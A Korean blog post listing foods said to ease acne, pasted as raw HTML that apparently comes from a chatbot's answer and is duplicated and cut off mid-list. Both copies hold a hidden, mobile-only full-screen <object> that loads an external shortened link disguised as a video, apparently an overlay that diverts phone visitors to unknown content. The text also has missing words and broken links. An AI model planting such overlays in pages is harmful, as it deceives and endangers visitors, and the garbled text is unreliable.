여드름에 좋은 음식 종류를 알아보고 섭취해 보자

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">여드름 개선에 도움을 주는 음식들</h2><p data-sourcepos="3:1-3:36">여드름 때문에 고민이시라면, 식단 관리도 꼭 신경 써야 합니다.</p><p data-sourcepos="5:1-5:48"><strong>여드름에 좋은 음식</strong>을 꾸준히 섭취하면 피부 건강 개선에 도움이 될 수 있어요.</p><p data-sourcepos="7:1-7:22">어떤 음식들이 좋은지 함께 알아볼까요?</p><h3 data-sourcepos="9:1-9:22">1. 비타민이 풍부한 채소 과일</h3><ul data-sourcepos="10:1-14:0"> <li data-sourcepos="10:1-11:32"><strong>비타민 C:</strong> 피부 재생을 돕고 콜라겐 생성을 촉진하여 피부 탄력을 높여줍니다. <ul data-sourcepos="11:3-11:32"> <li data-sourcepos="11:3-11:32">대표적인 식품: 딸기, 키위, 브로콜리, 시금치 등</li> </ul> </li> <li data-sourcepos="12:1-14:0"><strong>비타민 E:</strong> 강력한 항산화 작용으로 피부 노화를 막고 염증을 완화시킵니다. <ul data-sourcepos="13:3-14:0"> <li data-sourcepos="13:3-14:0">대표적인 식품: 아몬드, 견과류, 시금치, 아보카도 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://post-phinf.pstatic.net/MjAxOTA0MTJfMjMz/MDAxNTU1MDYwNjk3NDc0.iVQujJmze-Xz36A916D24Ahf1_PxLXqn8AnCFpt58QUg.DzeB6KAnc5gOW10swD3ZIsEbXzuBMc3rQoLSrIBucNkg.JPEG/%EB%B9%84%ED%83%80%EB%AF%BCC_rich_886.jpg?type=w800_q75"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.post.naver.com/viewer/postView.nhn?volumeNo=19146967&amp;memberNo=45297398"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="비타민 C가 풍부한 과일 채소 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQfxIBTMajWgBPXyxWJCHOoW4NdIK2mRJncX0gOwQX7NW7M0_4j_cuq13Q0FSVn"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.post.naver.com/viewer/postView.nhn?volumeNo=19146967&amp;memberNo=45297398" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQNVtNr9oknr-AzE8W5mKM3psCqUClkrFv2ulE1w4IJ0G3AfxTaf8Cs7jj5o7cobE4sQtyxCGM5qbn7fRtVH_WpsoEJEkqJejwxJg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.post.naver.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 비타민 C가 풍부한 과일 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/dCjn2RbVbec/hqdefault.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=dCjn2RbVbec"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="비타민 E가 풍부한 식품 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRWpALhG_LwqvAKVqK8oYZUHe3qr4is7lkBx1VNgCR7Se5bApe6q7AXClmmzgyo"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=dCjn2RbVbec" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 비타민 E가 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="18:1-18:21">2. 항산화 성분이 풍부한 식품</h3><ul data-sourcepos="19:1-23:0"> <li data-sourcepos="19:1-20:27"><strong>베타카로틴:</strong> 피부 세포를 보호하고 피지 생성을 조절하여 여드름 예방에 도움을 줍니다. <ul data-sourcepos="20:3-20:27"> <li data-sourcepos="20:3-20:27">대표적인 식품: 당근, 고구마, 시금치 등</li> </ul> </li> <li data-sourcepos="21:1-23:0"><strong>폴리페놀:</strong> 항산화 작용이 뛰어나 피부 염증을 완화하고 노화를 방지합니다. <ul data-sourcepos="22:3-23:0"> <li data-sourcepos="22:3-23:0">대표적인 식품: 블루베리, 녹차, 베리류 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://img.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_384065-374.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_23564035.htm"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="베타카로틴이 풍부한 채소 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTTmcirmi45qwT5VHODUYNUIsQrvufPEG1pIBPB0vK6ME7JpRghb19J7iv-SKKm"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-vector/vector-hand-draw-fruit-veggies-rich-betacarotene-food-sources-infographic-vitamin_23564035.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 베타카로틴이 풍부한 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://gradium.co.kr/wp-content/uploads/healthy-food-6.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://gradium.co.kr/polyphenol-rich-foods/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="폴리페놀이 풍부한 식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQk3Zxd5JQjV7lt8Dc_zPiZxcEWm_xLVkVdOc-Ioq-Z59EeF0p3EmzQ5yiLqrrh"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://gradium.co.kr/polyphenol-rich-foods/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTrCho6FLAzDjqfh8OVfcC-thoPHbCGF4gUp0X0nyg5YJPfTOkzTW_9tzQJ0CnIjlAX-fOOunRBKVHeeJ-KmtxaQPVJKL7KBg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">gradium.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 폴리페놀이 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="27:1-27:24">3. 오메가-3 지방산이 풍부한 생선</h3><ul data-sourcepos="28:1-30:0"> <li data-sourcepos="28:1-30:0"><strong>오메가-3 지방산:</strong> 염증을 완화하고 피부 장벽을 강화하여 여드름을 진정시키는 데 도움을 줍니다. <ul data-sourcepos="29:3-30:0"> <li data-sourcepos="29:3-30:0">대표적인 식품: 연어, 고등어, 참치 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://investpension.miraeasset.com/common/namoeditor/binary/images/000099/1565055285649.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://investpension.miraeasset.com/m/contents/view.do?idx=11994"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 지방산이 풍부한 생선 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTqlEhA64dZiCQymA2-FryxVBp46-i8DjDXC5py85oY9r8ACmY0oZTnF7f1GqtR"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://investpension.miraeasset.com/m/contents/view.do?idx=11994" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcRHOZG9Kjr-AgQoaiWFZl5EsrrkhkamccNXlu0dloKxGi7m1_sdLhanQHFvEEFE-iFIRfiSV307uXGL39iIeDOJGysdLqjjQApoArTNv4ZIGbxObcjVnQ"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">investpension.miraeasset.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 지방산이 풍부한 생선 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="33:1-33:17">4. 아연이 풍부한 식품</h3><ul data-sourcepos="34:1-36:0"> <li data-sourcepos="34:1-36:0"><strong>아연:</strong> 피지 생성을 조절하고 여드름균 증식을 억제합니다. <ul data-sourcepos="35:3-36:0"> <li data-sourcepos="35:3-36:0">대표적인 식품: 굴, 육류, 콩류 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://.foodnmed.com/news/photo/202004/19058_4845_557.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.foodnmed.com/news/articleView.html?idxno=19058"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="아연이 풍부한 식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTnGkGmDdO0JM7SFvS0ibUqsEZJGE9Y_P8INBfY9dTJyPBEJpKHb7dvLOKe-_qg"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://.foodnmed.com/news/articleView.html?idxno=19058" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTyYYB4ilJlPhmY8DLDhV591J3ct-6elFBoE-UHv7M9zB26o8yqBwQQihpHpjAuTF2uagLqUuJtL15-EbBxUYyJSpQGoXdP2atI"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.foodnmed.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 아연이 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="39:1-39:18">5. 섬유질이 풍부한 식품</h3><ul data-sourcepos="40:1-42:0"> <li data-sourcepos="40:1-42:0"><strong>섬유질:</strong> 장 건강을 개선하고 독소 배출을 도와 피부 트러블을 완화합니다. <ul data-sourcepos="41:3-42:0"> <li data-sourcepos="41:3-42:0">대표적인 식품: 현미, 귀리, 고구마, 사과 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cgeimage.commutil.kr/phpwas/restmb_allidxmake.php?pp=002&amp;idx=3&amp;simg=202312111143040043020kpm_00.jpg&amp;nmt=48"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.healthinnews.co.kr/news/articleView.html?idxno=43020"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="섬유질이 풍부한 식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSlOyCEUkKjOboXT4O69zSA1v68hksoqt3IYLVVNMHS8GLGXcIt3ulhukjY-xn7"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.healthinnews.co.kr/news/articleView.html?idxno=43020" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_c4d5b6315a05b9f5&quot;,&quot;c_e5e30593935e55f1&quot;,null,&quot;rc_d5f773b3e5591c70&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcScrK-auVlIgO2IyXO4H26K3EHdt9KhH8DRMHqr_F9wsXWBR90dyockrYOtrLmaRfEbh7SM6IOnLS-hGpZe8qFuzIeRYKm7vwFPFDCi-FDFKg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.healthinnews.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 섬유질이 풍부한 식품 </div></div></single-image></response-element></div></ul><p data-sourcepos="45:1-45:8"><strong>주의사항</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:72"><strong>균형 잡힌 식단:</strong> 특정 식품만 과도하게 섭취하는 것은 좋지 않습니다. 다양한 영양소를 골고루 섭취하는 것이 중요합니다.</li> <li data-sourcepos="47:1-47:46"><strong>수분 섭취:</strong> 충분한 물을 마셔 피부를 촉촉하게 유지하는 것이 중요합니다.</li> <li data-sourcepos="48:1-49:0"><strong>개인차:</strong> 개인의 체질에 따라 가 다를 수 있습니다.</li> </ul><p data-sourcepos="50:1-50:28"><strong>여드름 개선을 위해서는 식단 관리뿐만 아니라</strong></p><ul data-sourcepos="51:1-54:0"> <li data-sourcepos="51:1-51:45"><strong>충분한 수면:</strong> 피부 재생을 위해 규칙적인 수면 습관을 유지해야 합니다.</li> <li data-sourcepos="52:1-52:50"><strong>스트레스 관리:</strong> 스트레스는 피지 분비를 촉진하여 여드름을 악화시킬 수 있습니다.</li> <li data-sourcepos="53:1-54:0"><strong>청결:</strong> 꾸준히 세안하고 피부를 깨끗하게 유지해야 합니다.</li> </ul><p data-sourcepos="55:1-56:52"><strong>전문가와 상담:</strong> 더욱 자세한 정보는 피부과 전문의와 상담하여 개인에게 맞는 관리 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="58:1-59:43"><strong> 추가 요청:</strong> 원하는 음식에 대한 를 더 자세히 보고 싶으시면 언제든지 요청해주세요.</p><p data-sourcepos="61:1-61:32"><strong>다음에 궁금한 점이 있다면 언제든지 질문해주세요!</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">여드름 개선에 도움을 주는 음식들</h2><p data-sourcepos="3:1-3:36">여드름 때문에 고민이시라면, 식단 관리도 꼭 신경 써야 합니다.</p><p data-sourcepos="5:1-5:48"><strong>여드름에 좋은 음식</strong>을 꾸준히 섭취하면 피부 건강 개선에 도움이 될 수 있어요.</p><p data-sourcepos="7:1-7:22">어떤 음식들이 좋은지 함께 알아볼까요?</p><h3 data-sourcepos="9:1-9:22">1. 비타민이 풍부한 채소 과일</h3><ul data-sourcepos="10:1-14:0"> <li data-sourcepos="10:1-11:32"><strong>비타민 C:</strong> 피부 재생을 돕고 콜라겐 생성을 촉진하여 피부 탄력을 높여줍니다. <ul data-sourcepos="11:3-11:32"> <li data-sourcepos="11:3-11:32">대표적인 식품: 딸기, 키위, 브로콜리, 시금치 등</li> </ul> </li> <li data-sourcepos="12:1-14:0"><strong>비타민 E:</strong> 강력한 항산화 작용으로 피부 노화를 막고 염증을 완화시킵니다. <ul data-sourcepos="13:3-14:0"> <li data-sourcepos="13:3-14:0">대표적인 식품: 아몬드, 견과류, 시금치, 아보카도 등</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://post-phinf.pstatic.net/MjAxOTA0MTJfMjMz/MDAxNTU1MDYwNjk3NDc0.iVQujJmze-Xz36A916D24Ahf1_PxLXqn8AnCFpt58QUg.DzeB6KAnc5gOW10swD3ZIsEbXzuBMc3rQoLSrIBucNkg.JPEG/%EB%B9%84%ED%83%80%EB%AF%BCC_rich_886.jpg?type=w800_q75"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.post.naver.com/viewer/postView.nhn?volumeNo=19146967&memberNo=45297398"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="비타민 C가 풍부한 과일 채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQfxIBTMajWgBPXyxWJCHOoW4NdIK2mRJncX0gOwQX7NW7M0_4j_cuq13Q0FSVn"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.post.naver.com/viewer/postView.nhn?volumeNo=19146967&memberNo=45297398" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQNVtNr9oknr-AzE8W5mKM3psCqUClkrFv2ulE1w4IJ0G3AfxTaf8Cs7jj5o7cobE4sQtyxCGM5qbn7fRtVH_WpsoEJEkqJejwxJg"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.post.naver.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 비타민 C가 풍부한 과일 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/dCjn2RbVbec/hqdefault.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=dCjn2RbVbec"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="비타민 E가 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRWpALhG_LwqvAKVqK8oYZUHe3qr4is7lkBx1VNgCR7Se5bApe6q7AXClmmzgyo"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=dCjn2RbVbec" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_c4d5b6315a05b9f5","c_e5e30593935e55f1",null,"rc_d5f773b3e5591c70",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 비타민 E가 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="18:1-18:21">2. 항산화 성분이 풍부한 식품</h3><ul data-sourcepos="19:1-23:0"> <li data-sourcepos="19:1-20:27"><strong>베타카로틴:</strong> 피부 세포를 보호하고 피지 생성을 조절하여 여드름 예방에 도움을 줍니다. <ul data-sourcepos="20:3-20:27"> 